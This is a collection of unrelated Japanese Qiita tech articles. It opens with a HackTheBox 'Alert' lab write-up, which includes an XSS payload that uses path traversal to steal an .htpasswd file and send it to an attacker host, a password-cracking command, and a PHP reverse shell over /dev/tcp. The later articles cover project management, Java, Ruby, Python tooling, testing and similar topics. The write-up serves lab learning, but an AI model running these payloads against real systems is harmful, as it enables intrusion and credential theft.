OmniAICreator/Qiita-1.07M huggingface dataset:
[HackTheBox] Alert-witeup

# 
とりあえず`/etc/hosts`に`alert.htb`を追加しときます
# nmapによるポートスキャン
nmap コマンドで空いているポートをスキャンします。
```bash
nmap alert.htb
```
![スクリーンショット 2024-12-11 13.39.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556452/5b4c14e5-823c-38ea-d697-836bc7c0f6b6.png)
80番のhttpが開いていることがわかったのでブラウザでアクセスしてみました

# Markdon Viewer

マークダウン(.md)をアップロードして閲覧できるようなwebでした。
![スクリーンショット 2024-12-11 13.37.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556452/d5c26fb9-b081-dc69-7953-33254afecb3e.png)
# 
ファイルをアップロードし共有リンクをContact Usで適当なメールとメッセージ欄に共有リンクを入力して送信するとサーバーでスクリプトが実行されました。
![スクリーンショット 2024-12-11 14.16.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556452/26a6de7f-b554-cba0-20f5-9be9b659d0bc.png)
試しにxssができるか試したら案の定できました。
```js:xssTest.md
<script>alert("xss!"); </script>
```
pythonでサーバーを立てそこにペイロードします。
```bash:python
python -m http.server 1234
```


サーバーがApacheなので`.htpasswd`ファイルを取得するためのスクリプトを作成していきます。
色々とディレクトリを模索した結果こんな感じになりました。

```js:script.md 
‹script>
fetch( "http://alert.htb/messages.php?file=../..//./../../../var/ww/statistics.alert.htb/.htpasswd
    .then(response → response.text())
    .then(data → { fetch "http://10.10.xx.xx:1234/?file_content=" + encodeURIComponent(data)); 
}):
</script>
```

`albert`というユーザーとハッシュが取得できました。
# John

ハッシュの解析にJohnTheRipperを使います。
```bash:bash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash.txt
```
```bash:
john --show hash.txt
```
ハッシュ化されたパスワードの解読に成功しました。

# user.txt
解読したパスワードとユーザー名からsshでの接続をします
```bash:ssh
ssh albert@alert.htb
```
![スクリーンショット 2024-12-11 13.23.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556452/c9338afd-2aeb-1103-ec84-cf6a7dd3fc67.png)
ログインできました。
![スクリーンショット 2024-12-11 13.24.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556452/34ce3c0b-e793-c4e3-2197-0e2a0ad28e16.png)
ユーザーフラグが取得できました。
# root.txt
怪しいファイルがないか調べましたが見当たらなかったので`linpeas`をscpで転送し実行しました。
結果`8080`ポートが開いていることが分かりました
![スクリーンショット 2024-12-11 13.29.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556452/0607570b-5811-d80a-3774-94e3d90d11ad.png)
ポートをkali側に転送します。
```bash:kali
ssh -L 8080:127.0.0.1:8080 albert@alert.htb
```
WebsiteMonitorをいうwebサイトが表示されました。
![スクリーンショット 2024-12-11 13.30.30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556452/9f79dca8-f2c8-b798-e6ac-ab26ab3082c6.png)

`/opt`に`websitte-monitor`がありルート権限を持っていました。

![スクリーンショット 2024-12-11 13.37.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556452/2f2a5380-eb18-bfb2-ba0e-a0735c2b8bbd.png)

`/opt/website-monitor/config/`にリバースシェルを実行するphpプログラムを作成します。
```php:test.php
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.xx.xx/123 0›&1'");>
```
無事に権限昇格ができました。
![スクリーンショット 2024-12-11 13.37.07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3556452/a2ae6c28-a271-2735-e1e7-a2328328b05e.png)
自己紹介と戦略―ITを理解したいPM

## 自己紹介
皆さんこんにちは。
以下が私の基本設計書となります。
https://tadano-pm.sakura.ne.jp/wp/メンバー自己紹介-ティグリス太郎/


## 嫌なこともあるけど、PMって意外と楽しくないか？
　最初は
 「早くエンジニアになりたいなぁ」
 とか思っていたのですが、最近
 「あれ、、PM楽しいぞ」
 と謎の進化を遂げました。
 これが**妥協**なのか、それとも**最適化**なのかは、
 分かりません。
 
## けどIT技術って面白いから、「上」と「下」から学ぶ
　PMが面白いと言えど、やはり**IT技術はやはり面白い**です。
  なので、このブログではそこにも触れていきたいなぁと思っています。
  今は流行のAIとか、データエンジニアとかではなく、なぜかコアな技術にはまっています。
  
  2024/12/11現在、面白がっているのはKernelです。

## 取った資格

https://qiita.com/historicalKotaro/items/89cc7cf21ac97b79e1f1
帯域割り当ての収束性

# フローの変動に対して収束することでそれぞれに理想的な帯域を分けることができる
>輻輳制御のアルゴリズムがいかに速く効果的な帯域割り当てに落ち着くかという観点である。

### コネクションともに変化する
>コネクションは発生したり、死滅したりする。またあるコネクションが必要とする帯域も時間とともに変動する。

### 動作点にピッタリ合わせる
>理想的な動作点に早く収束し、変動に追従できる輻輳制御アルゴリズムは、良いアルゴリズムと言える。もし収束が遅いと、アルゴリズムは適正な動作点にたどり着けないかもしれない。アルゴリズムが不安定であると、場合によってはただし動作点に収束しなかったり、複数の動作点の間を振動する。

https://bookplus.nikkei.com/atcl/catalog/23/03/16/00728/
# 感想
フローが発生に素早く追従して帯域を分けるアルゴリズムがいい
チーム全体で取り組む職能越境

この記事は [株式会社カオナビ Advent Calendar 2024](https://qiita.com/advent-calendar/2024/kaonavi) シリーズ2の12日目の記事です。

## はじめに
みなさん、こんにちは！カオナビでPHPを書いているプッシュです。

この記事では職能越境の考え方を軸に、チームの可能性と課題を新たな視点から見つめ直すことで、より柔軟で効果的な働き方の選択肢が広がり、チーム全体のパフォーマンス向上につながればと思います。

## 職能越境とは
職能越境とは、従来の専門分野の枠を超えて、他の領域のスキルや知識を身につけ、柔軟に役割を担うことを指します。例えば、バックエンドエンジニアがフロントエンド開発のスキルを習得したり、プログラマーがUXデザインを学んだりすることが挙げられます。
これにより、チームの柔軟性が向上し、プロジェクトの効率化や個人のキャリア発展につながります。

## 当社の開発文化
私たちの会社では、職能越境が自身の市場価値を高める機会として認識されており、社内でも期待されている取り組みです。また、開発手法に関しては、チームが成果を出せれば比較的自由度が高く、具体的な進め方はチーム内での調整に委ねられています。
このような環境の中、私たちのチームはより効率的なプロダクト開発を目指して職能越境に挑戦しようとしています。

 ## 職能越境のメリットとデメリット
### メリット
- 柔軟な対応力と問題解決能力の向上
- チーム全体での知識共有とメンバーのスキルアップ
- 属人化の解消

### デメリット
- 責任の所在が不明確になるリスク
- 学習コストの発生
- 短期的な成果の低下の可能性

## 現在のチーム状況
### きっかけ
職能越境への挑戦のきっかけは、チーム内でのタスク量の偏りと、開発からリリースまでの時間が長いという課題からでした。特に、フロントエンドのタスクが多い一方でバックエンドエンジニアの手が空く状況が頻繁に発生しています。また、プロダクトをユーザーに少しでも早く届けるために、チーム全体での解決が必要だという認識が芽生え始めています。
しかし、この職能越境への移行は簡単には進んでいません。主な障壁として、専門分野外の技術に不慣れなため、すぐには貢献が難しい状況です。さらに、フロントエンドエンジニアは日々の業務で手一杯であり、新しいスキルを共有する時間的余裕がないことも課題となっています。

### 具体的な取り組み
現在、私たちのチームでは職能越境を促進するため、二つの主要な取り組みを行っています。
まず、小規模なタスクへのチャレンジです。変更差分が小さいものや対応箇所が明確なタスクから着手することで、メンバーが徐々に新しい領域に慣れていけるよう工夫しています。
次に、テストの実施を全員で分担しています。職種に関係なく、手の空いているメンバーがテストを行うことで、開発サイクルを加速させようとしています。

他にも当社では、職能越境を促進するための取り組みを実施しています。
フロントエンドエンジニアが他チームでバックエンド開発に携わることで、個人のスキルアップとチーム間の知識交換を実現しています。また、QCエンジニアがIntegration Testの実装に挑戦し、ペアやモブプログラミングを通じてサポートを受けながら、テスト設計の重要性や自動化の可能性を探っています。
さらに、社内ISUCONの定期開催により、エンジニアが安全な環境で幅広い技術領域に触れる機会を提供しています。これらの取り組みにより、個々の専門性を高めつつ、チーム全体の視野を広げ、より柔軟で効率的な開発体制の構築を目指しています。

## 個人的な思い
こういったメリット、デメリットはありつつも、メンバーが専門分野の垣根を越えて協力し、状況に応じて柔軟に役割を担うことができるため、職能越境をしていきたいなと考えています。小規模なタスクから着実に取り組み始め、チーム全体のスキル向上と相互理解を深めながら、職能越境の実践を通じて新たな可能性を切り開いていきたいです。また、この挑戦を通じて、より強固で柔軟なチーム作りを実現し、より早く良いプロダクトをユーザーに届けて行きたいと思います。

## まとめ
職能越境はチームの柔軟性と効率性を高める可能性を秘めた取り組みです。しかし、その実践には慎重さと忍耐が必要です。メリットとデメリットを十分に理解し、チームの状況に合わせて段階的に進めることが重要です。小さな一歩から始め、継続的に学習を行うことで、より強固で適応力のあるチーム作りにつながるでしょう。職能越境は目的ではなく、よりよいプロダクト開発とチーム成長のための手段であることを忘れずに、挑戦を続けていこうと思います。
Pythonのvenv環境を引継いだDOS窓を新しく開く方法

# コマンドプロンプトでpythonのvenv環境を開く
Windowsで普通にvenvで作ったを有効にするには、venvで作ったディレクトリ下のscriptフォルダにあるactivate.batを実行することでvenv環境に移行する。

これを新しいコマンドプロンプト画面を開いて同じ手順でもいいのですが・・・

# 簡単に環境を引継いたコマンドプロンプトを開く場合

start cmd

で新しいコマンドプロンプトが開かれる。
Pythonista3で作ったアプリをXcodeでビルドする方法

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898382/496ecf76-2845-1d53-236a-9319a889f93d.png" width=40%>
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898382/d9d8de1a-fe26-0ffb-6cab-2420a0a05a91.png" width=40%>


Pythonistaで作ったアプリをPythonista3AppTemplateを使ってビルドする方法を解説したサイトにアクセスできなくなっていたので、備忘録として残しておきます。

## 環境
Xcode 16.2
Simulator iOS 18.2
Pythonista 3.4

## 1. Pythonista3AppTemplateをダウンロードする
下記①のサイトにテンプレートがあります。が、テンプレートに何かしらの不具合があるようです(英語なのでよくわからん)。

私はだいぶ前にその不具合を解消したテンプレートを②からダウンロードしたのですが、すでにダウンロードできなくなっていました。
しかし、前者でも私の場合は問題なくビルドはできました。App Storeに公開するとなると別の問題が発生するかもしれません。

**↓こちらからテンプレートをダウンロードできます。**

https://www.dropbox.com/scl/fi/xu12ht0asjtxwniv013lc/Pythonista3AppTemplate.zip?rlkey=9j48g9cukfft7f1ulday6g5cy&dl=1


```:"接続はプライベートではありません"と出るのでリンクさせていません。
① https://forum.omz-software.com/topic/5310/when-will-omz-release-an-xcode-template-for-python3
② https://forum.omz-software.com/user/romspy
```

## 2. テンプレートにファイルを入れる
テンプレート内の`Script`フォルダに`.py`と`.pyui`ファイルを入れます。
元々入っている`main.py`は削除します。

## 3. ビルド
以上で準備は整いました。
`Pythonista3AppTemplate.xcodeproj`を開いて、シミュレータで動かしてみます。
Apple SiliconのMacでビルドすると

:::note alert
Building for 'iOS-simulator', but linking in dylib (/Users/[ユーザ名]/[テンプレートの場所]/Pythonista3AppTemplate/Pythonista3AppTemplate/Py3Kit.framework/Py3Kit) built for 'iOS'
:::
というエラーが発生する場合があります。

プロジェクトの `Build Setting` > `Architectures` > `Excluded Architectures` の `Debug` と `Release` に `iOS Simulator` `arm64` を追加します。

![スクリーンショット 2024-12-11 13.55.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898382/0d7d8651-b6cf-f943-c39f-3ecbad96703e.png)

https://qiita.com/littleossa/items/ff75b19e0ac6713941f8

無事にビルドできました。

App Storeに公開することがあったらまた記事にするかもしれません。



## 参考サイト
https://mmm-ssss.com/pythonistaで作ったアプリをxcodeでビルドする/
「Youtubeの音楽を聞きながら、Youtubeの講義を聞きわけられますか。」AI先生に聞きました。

・私の質問の仕方がヘタなのかもしれませんでした。
＞YouTubeで同時に2つの動画を再生することはできません...
```
Youtubeの音楽を聞きながら、Youtubeの講義を聞きわけられますか。
YouTubeを機械を2台で左耳、右耳で人間は聞き分けられますか。
音楽はBGMです。
聖徳太子は、一度に10人の話を聞き分けることができると言われたそうです。
```

BGMです。音量の調整が必要かも。
・PC1台で、無理だと思います。
・機械2台で。(イヤホン2つ必要かも)

参考
＞36人の話を聞き分けた伝説

https://www.google.com/search?q=%E8%81%96%E5%BE%B3%E5%A4%AA%E5%AD%90+10%E4%BA%BA&client=ms-android-huawei&sca_esv=f238d9e00975a7c7&sxsrf=ADLYWILVCWmQMrXOM6punpbz7idbz1h5kg%3A1733728279626&ei=F5hWZ6T0JfiNvr0P4ZWisQc&oq=%E8%81%96%E5%BE%B3%E5%A4%AA%E5%AD%90+10%E4%BA%BA&gs_lp=EhNtb2JpbGUtZ3dzLXdpei1zZXJwIhLogZblvrPlpKrlrZAgMTDkuroyBRAAGIAEMggQABiABBiiBDIIEAAYgAQYogRIx21Q4BBY-lhwAXgBkAEAmAG4AaAB3QmqAQMwLjm4AQPIAQD4AQGYAgqgAukLwgIKEAAYsAMY1gQYR8ICBBAjGCfCAhAQABiABBixAxhDGIMBGIoFwgIKEAAYgAQYQxiKBcICCBAAGIAEGLEDwgIHEAAYgAQYBMICCBAAGKIEGIkFmAMAiAYBkAYKkgcFMS44LjGgB6Ie&sclient=mobile-gws-wiz-serp

# Gemini先生へ
```
(抜粋)
人間の脳: 人間であっても、音楽と音声の両方を同時に完全に理解することは、集中力や聞き慣れた内容など、様々な要因によって影響を受けます。...
```
HULFT10の製品戦略をデータ分析にて妥当検証してみる！

この記事は [**セゾンテクノロジー Advent Calendar 2024**](https://qiita.com/advent-calendar/2024/saison-tech) 12日目の記事です。
シリーズ2は [**HULFT10**](https://www.hulft.com/software/hulft-10) のエンジニアによる投稿をお届けします。

# はじめに
はじめまして、セゾンテクノロジーの杉山と申します。
本記事では、12/10(火)にリリースされる当社の新製品「HULFT10」をどんな人が購入してくれるのか？アップデートしてくれるのか？という観点からデータ分析を実施した経験について紹介させていただきます。

私は2024年7月より当部へ異動し、約5か月が経ちました。
* HULFT初心者
* データ分析初心者
* Tableau初心者

の状態で異動してきて、こんな初心者だらけの私にデータ分析なんかできるのか？と不安でしたが、この5か月間での学びやつまづいたことについて共有させていただければと思います。


# ◇HULFTを理解する
前部署では、SIerとして働いていたため製品を扱うということは全くの初めてでした。
まずは、製品の理解からということで製品知識や、今までの開発の歴史などを身に着けました。
そこから、今回のHULFT10の製品戦略はどういうものなのかを理解しました。


# ◇仮説を立てて、Vizを作成
まず最初に、HULFT10の製品戦略を元にこんな人がHULFT10を使ってくれるのではないか？と仮説を立ててみました。
例えば…
・既存顧客がクラウドリフトするのにHULFT10Containerを使用してくれるのではないか
・Z世代向けにUIを刷新する
などです。

この仮説が正しいのかを検証するために、必要なデータは何か？を洗出し
それらのデータを取得し、Tableauによって可視化しました。
実際に作成してみたVizがこちらです。
![tableau.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3942063/de5b4ff4-c8e4-29a1-e624-c0012e241336.jpeg)


Vizより、下記の事項が分かるようになりました。
>・HULFTの売上順位、売上80％を占めている社数
>・Ver8からVer10への移行遷移
>・アップデートしてくれた会社の傾向
>・HULFT10の暗号化オプションの増減割合
>・HULFT-HUB、HULFT ManagerからSmart ProxyやAPI Gatewayへの移行遷移


12/10(火)にHULFT10がリリースされた後、実際にデータが発生しこれらのVizの遷移を確認していくのが楽しみです！
また、色んな方に活用していただきブラッシュアップしていきたいと考えています。


# ◇つまづいたこと
いざTableauにて、Viewを作成しようとした時に
色んな箇所に存在しているデータをどのキー項目で紐づけていいのかが分からず
どこから手を付けたらいいのか…という状態になりました。
そこで、まず契約形態を理解しなければ！となり
有識者へ確認し知識をつけることで、必要なデータを取得することが出来るようになりました。


# まとめ
製品はリリースして終わりではなく、
* リリースした製品がどのように普及されているのか
* 製品戦略の妥当性

などを検証していくことがとても重要だと思います。
これらのデータ分析結果が、営業戦略やマーケット戦略、次の製品開発へ役立つ材料になってくれることを期待して今後もデータ分析を続けていきたいと思います。

ここまでご覧いただきありがとうございました。
【Java・初心者向け】例外処理あれこれ -チェック例外・非チェック例外とは？/ややこしいthrowsとthrow-

# はじめに
この記事は、自分と同じ初心者のJavaエンジニア向けに、例外処理に関する本当に基礎的な知識を記載したものです。
ほぼ自分用のメモ書きですが、誰かの役に立てば幸いです。

# チェック例外・非チェック例外とは？
### チェック例外
外部要因や予測可能な異常状態に対して発生する例外。
これらはプログラムの修正で対処しにくい問題や、外部システムのエラー（例: ファイル操作、ネットワークエラーなど）に関連することが多い。
開発者に「例外処理を忘れないように」と強制する目的で使用される。

>（例） ファイルやネットワークのエラー

メソッド内でtry-catchをしたり、メソッドにthorws宣言をしないとコンパイルエラーになる。
チェック例外が生じる処理を実装する場合は、基本的に以下のどちらかの対策をとる。

①メソッド内でtry-catch文を使い、例外処理を完結させる
```
public void someMethod(){

    try{
        // チェック例外が生じるメソッドを呼び出す    
        Hoge hoge = exceptionOccurMethod();
    
    }catch(Exception e){
        // 例外が起きたときの処理
    }

}
```
②（さらに呼び出し元クラスが存在する場合）呼び出し元に例外処理を任せるため、メソッドにthrows宣言をつける
```
// someMethod()を呼び出したメソッドに例外処理を任せる
public void someMethod() throws Exception{

    // チェック例外が生じるメソッドを呼び出す    
    Hoge hoge = exceptionOccurMethod();

}
```


チェック例外の例：
>IOException（入出力操作に関連するエラー）
>SQLException（データベース関連のエラー）

### 非チェック例外
プログラムの修正で対処可能な問題に対して発生する例外。
主にプログラムのバグや設計ミスを示す目的で使用される。
運用中に非チェック例外が発生した場合、設計や実装にミスがあることが疑われる。

>（例）バグ、ロジックミス、想定外の動作など。

非チェック例外の例：
>NullPointerException（null 参照のオブジェクトにアクセスしようとした場合）
>IllegalArgumentException（不正な引数が渡された場合）


# 補足
### 補足1：ややこしいthrowsとthrow
**throws**
メソッドの宣言のときにつける。
非チェック例外が発生する場合のみ。
「このメソッドは例外処理を呼び出し元に任せますよ～」の意味。
**throw**
メソッドの中に書く。
例外を発生させる処理。


最初のうちはどっちがどっちか覚えづらいですが、英文法で捉えると当たり前なので覚えやすいです。
throws→メソッドが主語なので三人称のsがつく
throw→単なる処理（例外を発生させる）なので動詞の原形



### 補足2：非チェック例外をtry-catch
非チェック例外もtry-catchしたり、catchして再スローしたりできる。
※非チェック例外は本来、バグやプログラムミスの修正を促すために使われるため、このような実装は特殊。
```
public void someMethod() {
    try{
    
    　// 非チェック例外が生じる処理
    
    }catch(RuntimeException e ){
        //非チェック例外を再スロー
        throw e;
    }
}
```
catchして非チェック例外を呼び出し元に再スローした場合も、メソッドにthrows宣言は不要。
【DJ】Demucs使って音源分離してみた。【Deep learning】

# DJ

(末に関連AWS問題のリンクがあります）
最近MLS,MLA,AIFという機械学習のAWS3資格をとりました。機械学習について幅広くキャッチアップできました。

知識を活用していきたい。

機械学習の中の一分野、Deep learningを使って、
音源のボーカル、キック、その他、を分離できることを知り、
Demucsというツールを使ってやってみました。

https://github.com/facebookresearch/demucs


>機械学習の中の一分野、Deep learning

勉強する前は、機械学習とDeep learningを同じようなものと思ってた気もするので、こういう言い回しができるだけで進歩ですね。

DJをやっている人はわかると思うのですが、
ボーカルと、ビートをわけたいときってありますよね。

普通にDJのテクニックでできますが、
機械学習をせっかくなので使ってみよう。
ということでやってみました。

まずは結果からです。

# 結果

結果としては次のような感じになって、感動しました。

bass.mp3
drums.mp3
other.mp3
vocals.mp3

聞いてみると、
音源分離特有の味わいが得られます。
カセットテープのような手触りとでもいいましょうか。
微妙に分離されきっていない部分がよく感じられました。


# 試行錯誤

最終的に実行していたコマンドはこちらです。

python3 -m demucs -d cpu -mp3 ファイルパス

これで、separatedというディレクトリに写真のような分離後のファイルが生成されるようになりました。


他にいくつか試行錯誤がありました。

## 試行錯誤① モデルを変える

-n htdemucs_ft

の引数をつけるとより良いモデルになるようです。
しかし、手持ちのM3 macbook airでは、実行時間がかなり長くなってしまいました。


## 試行錯誤② より自動化する

ファイルパスを引数で渡し、ファイル指定するため、次のようなコマンドで、
ファイルパスを取得していました。

realpath {{ ファイルをドラッグアンドドロップする }}

そして表示されるのをコピペする、というのが手間でした。

ここで, MacbookにはAutomatorというものがあり、アクション化できることを知りました。

https://support.apple.com/ja-jp/guide/automator/welcome/mac

すごい。AWSのステップファンクションやSSM automator みたいなことがローカルでできるんですね。

これでアクション化しました。

来年弊社でも、Macbookを社用PCとして利用できるようになるとのことで、
楽しみですね。



# 勉強　demucsで使われてる技術

Machine learning Specialtyに合格したので、色々わかるはず。

まずDemucsはこれです。

star 8.4k えぐい。

https://github.com/facebookresearch/demucs

Facebookの機械学習に関する研究所が開発したようです。

## U-net(Wave netに基づく畳み込みニューラルネットワーク）

畳み込みニューラルネットワーク

畳み込みフィルタで特徴抽出し、階層的にパターン学習するニューラルネットワーク

Convolutional neural networkでCNNと略される。


関連するAWSの問題

https://www.examtopics.com/discussions/amazon/view/74920-exam-aws-certified-machine-learning-specialty-topic-1/


## ドロップアウト

過学習を防ぐためにするやつ

関連するAWSの問題　

https://www.examtopics.com/discussions/amazon/view/73881-exam-aws-certified-machine-learning-specialty-topic-1/

## バッチサイズ

学習中に一度に処理するデータサンプルの数

関連するAWSの問題

https://www.examtopics.com/discussions/amazon/view/12378-exam-aws-certified-machine-learning-specialty-topic-1/


## 層の数

layerはDNNを行う時の最小単位

https://cvml-expertguide.net/terms/dl/layers/

関連するAWSの問題

https://www.examtopics.com/discussions/amazon/view/114483-exam-aws-certified-machine-learning-specialty-topic-1/

# 最後に

ピアノ音だけ分離するとか、まだまだ色々できそうなので、やってみたい。
Agentlessという揺り戻しとNode-RED

### Agentlessとは何か？

Agentlessとは、特定の用途に特化させてLLMを使うなら、AIエージェントとして実装しない方が、速度も、性能も上がるという主張です。AIエージェントに振り切ってシステムを実装してみた結果、効率や安定性、コストの面でデメリットが大きかったようです。そのため、LLM（大規模言語モデル）を事前定義されたワークフローに組み込み、不要な部分を排除する「エージェントレス」のアプローチが進化してきました。

https://zenn.dev/knowledgesense/articles/73df428cfec29b

![202143092767-20241209.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3952120/f029e289-484c-e1c3-4188-79e5be504c53.png)

**エージェントレスの利点：**
- **簡便な導入と管理**：エージェントが全てを制御することを避け、標準プロトコルや既存のAPIを使うため、導入コストが削減されます
- **安定性と効率性**：LLMが自動で決定を行わず、予め定められたルールの下で動作するため、AIの暴走や不安定な動作を回避でき、特定のタスクでは非常に高いパフォーマンスを発揮します

エージェントレスは、特にシンプルなタスクにおいて、その効果を最大限に発揮します。これは、エージェントを使うよりもコストが抑えられ、スピードも速いため、企業にとっては運用面でのメリットが大きいといえます。

### AIエージェントの限界とエージェントレスの再評価

AIエージェントの進化は、プログラミングやシステム管理の自動化に大きく貢献しましたが、その一方でエージェントの持つ複雑性、導入コスト、そして管理の手間が問題視されるようになりました。特に、大規模システムではエージェントの管理が煩雑化し、パフォーマンスに悪影響を与えることがあります。

その結果、シンプルかつ安定した運用が求められる場面では、エージェントレスのアプローチが有効であると再評価されるようになっています。エージェントレスの方法では、AIが特定のルールに従って処理を行うため、柔軟性はエージェントに劣るものの、タスクが限定的である場合には大きな利点となります。例えば、システムの監視やセキュリティ、ネットワーク管理といった場面で有効です。

### 「AIによってプログラミングが不要になる」という言説からの揺り戻し

一時期、生成AIの進化によって「プログラミングが不要になる」といった言説が広まりました。高度な生成AIがコードを自動生成し、プログラマが手動でコードを書く必要がなくなるので、特にNode-REDのようなビジュアルプログラミングは不要になると考えられていました。

しかし、実際には完全な自動化には多くの課題が残り、生成AIが万能ではないことが明らかになってきました。特に以下の点で生成AIの限界が浮き彫りとなりました。
- **複雑なタスクへの対応**：生成AIが簡単なコード生成には向いているものの、複雑なシステムや特定の業務要件を満たすためには、依然として人間のプログラマによるレビューやカスタマイズが必要です
- **安定性と信頼性の問題**：生成AIによって生成されたコードが常に正しいわけではなく、特にプロダクション環境での安定性やセキュリティの観点から問題が生じることがあります

このような背景から、再び「プログラミングの重要性」が見直され、Node-REDなどのツールが持つ直感的な操作性とAIの補完的な役割が強調されるようになっています。つまり、AIがプログラミングのすべてを肩代わりするのではなく、むしろNode-REDのようなビジュアルプログラミングの中で補助する存在としての位置づけが適切であるとわかってきました。

### プログラミングと生成AIのこれから

生成AIの進化は、プログラミングやシステム開発の自動化を加速させていることに疑いはありません。しかし、エージェントレスのアプローチが見直されているように、AIの万能性に頼りすぎるのではなく、人間のプログラミング能力や既存のツールとのハイブリッドな使い方が今後も重要となるでしょう。

今後の展望としては、生成AIとプログラミングツールがより密接に統合され、人間とAIが協働して作業を行う時代が来る可能性があります。生成AIが自動的にコーディングする場面も増えますが、最終的な判断やカスタマイズは依然として人間の手に委ねられる場面も多いと予測されます。

エージェントレスのような動きは、その一例であり、効率化を追求しつつも安定性を重視する方向への揺り戻しを示しています。AIが進化しても、全てをAIに任せるのではなく、適切なバランスを保ちながら活用することが、成功の鍵となるでしょう。
【Ruby】特殊文字 $`と$'

# はじめに
こんにちは！アメリカの大学で語学を学びながら、独学でソフトウェアエンジニアを目指している者です。
今回は正規表現の特殊変数であるドルバッククォートとドルシングルクォートについて解説していきます。正規表現はパターンマッチを擦るうえで欠かせないのでこれらの役割についてしっかり学びましょう。

## \$` と \$' の役割
ドルバッククォートとドルシングルクォート は、正規表現のマッチングにおいて特定の部分を参照するための特殊変数です。
これら2つを記号で表したいのですが、うまくいかなかったのでカタカナで書いています。

* \$` (ドルバッククォート) は、マッチした部分の「前の文字列」を保持します。
* \$' (ドルシングルクォート)は、マッチした部分の「後ろの文字列」を保持します。

例えば、/abc/ というパターンを使って文字列にマッチさせた場合、マッチ前の部分が ドルバッククォート に、マッチ後の部分が ドルシングルクォート に格納されます。

## \$` と \$' の使い方
実際に ドルバッククォートと ドルシングルクォート を使った例を見てみましょう。例えば、以下のような文字列があるとします
```ruby
text = "私はシャーロック・ホームズを訪ねた。"
pattern = /ホームズ/
if pattern =~ text
  puts "マッチ前: #{$`}"   # => "私はシャーロック・"
  puts "マッチ後: #{$'}"   # => "を訪ねた。"
end
```
## 具体例
私がこれらを知ったのは以下のコードを通してです。実際に見てみましょう。
```ruby

pattern = Regexp.new(ARGV[0].encode("UTF-8"))
filename = ARGV[1]
len = ARGV[2]
count = 0

File.open(filename, "r:UTF-8") do |file|
  file.each_line do |line|
    if pattern =~ line
      line.scan(pattern) do |s|
        pre = "\u3000" * len + $`
        post = $'
        puts "#{pre[-len, len]}<<#{s}>>#{post[0, len]}"
        count += 1
      end
    end
  end
end
puts "count: #{count}"
```
上記はターミナルに入力されたある文字列を探して、その周りのテキストを表示するコードです。
コードの詳細説明は以下の通りです
1. `pattern = Regexp.new(ARGV[0].encode("UTF-8"))`
コマンドライン引数で与えられたパターンをUTF-8エンコーディングで正規表現に変換します。
2. `line.scan(pattern) do |s|`
各行を `pattern` にマッチさせ、マッチした部分（s）を処理します。

3. `pre = "\u3000" * len + ドルバッククォート` と `post = ドルシングルクォート`
ドルバッククォート と ドルシングルクォート によって、マッチした部分の前後の文字列が取得されます。

4. `puts "#{pre[-len, len]}<<#{s}>>#{post[0, len]}"`
マッチ部分（s）を表示する前に、その前後ターミナルに入力された文字数を表示します。

# まとめ
ドルバッククォート と ドルシングルクォート は、正規表現のマッチングにおいて非常に有用な変数で、特定のパターンが文字列にどのように一致したかを簡単に把握できます。
ドルバッククォート はマッチ前、ドルシングルクォート はマッチ後の文字列を保持するため、これらを使うことでより詳細な文字列操作が可能になります。
効率的なテストフレームワークの構築

[Jessica Hirschの講演動画](https://www.youtube.com/watch?v=D7Brt1cIIU0)を視聴した後、私はテストに関する貴重な洞察を得ました。特に、テストタイプの戦略的グループ化とフレームワークの境界を定義することで最大の効率を実現する方法について学びました。以下は、動画から学んだ主な内容です。
### 1. テストの階層モデル
Jessicaは、テストプロセスを複数のレベルに分ける階層的なテストモデルを提案しました。このモデルは、チームが各テストの目標と範囲を明確にし、効率を向上させるのに役立ちます。
● レベル1：ウェブサイトやページが利用可能かどうかを検証します。これは基本的なテストであり、失敗した場合、全体のテストスイートは終了します。
● レベル2：重要な機能が存在するかどうかを確認します。これらのテストが不安定な場合、システムは安定化処理が必要です。
● レベル3：ボタンやフォーム、多ページとの一貫した相互作用など、エンドツーエンドのユーザープロセスをテストします。
● レベル4：電子メールテンプレートやディスカッションスレッドなど、複雑なシステムを自動化します。
この階層構造は、各レベルのテストが前のレベルに依存していることを保証し、不必要な複雑さやリソースの浪費を避けます。
### 2. フレームワークの境界を定義する
各テストレベルの責任を明確にすることで、チームはフレームワークの境界を明確に定義できます。これには以下が含まれます：
● リソースの最適化：チームは最も重要なテストに集中でき、不必要な複雑なテストに過剰に投入することを避けられます。
● 保守性の向上：各レベルには明確な目標があり、コードやテストケースが理解しやすく保守しやすくなります。
● 迅速なフィードバック：迅速な失敗メカニズム（例えば、レベル1が失敗した場合、その後のテストは実行されない）によって、チームは問題を迅速に特定し修正できます。
### 3. 最大効率の実現
この戦略的なグループ化とフレームワーク定義によって、チームは以下の点で最大効率を実現できます：
● 冗長性の削減：同じ機能を繰り返しテストすることを避け、各機能が必要なときだけ検証されることを保証します。
● 信頼性の向上：安定した基礎テストによって、チームはその後の複雑なテスト結果に対してより信頼感を持てます。
● 迅速な反復：開発プロセス中に迅速にフィードバックし、変化するニーズに応じて戦略を調整できます。
### まとめ
このような階層モデルと明確なフレームワーク境界定義を実施することで、チームはテスト効率を向上させるだけでなく、ソフトウェア品質も大幅に向上させることができます。Jessicaのケーススタディは、効果的なユーザー受け入れテスト（UAT）を行い、大きなコスト削減と開発者による自動化結果への信頼性向上を示しています。この経験は、ソフトウェアテストプロセスを最適化したいと考えているチームにとって重要な参考となるでしょう。
Deno「パッケージマネージャ始めました」

Deno「パッケージはデザインミスとか言ってたけど、やっぱりパッケージマネージャ始めるわ」

https://deno.com/blog/your-new-js-package-manager

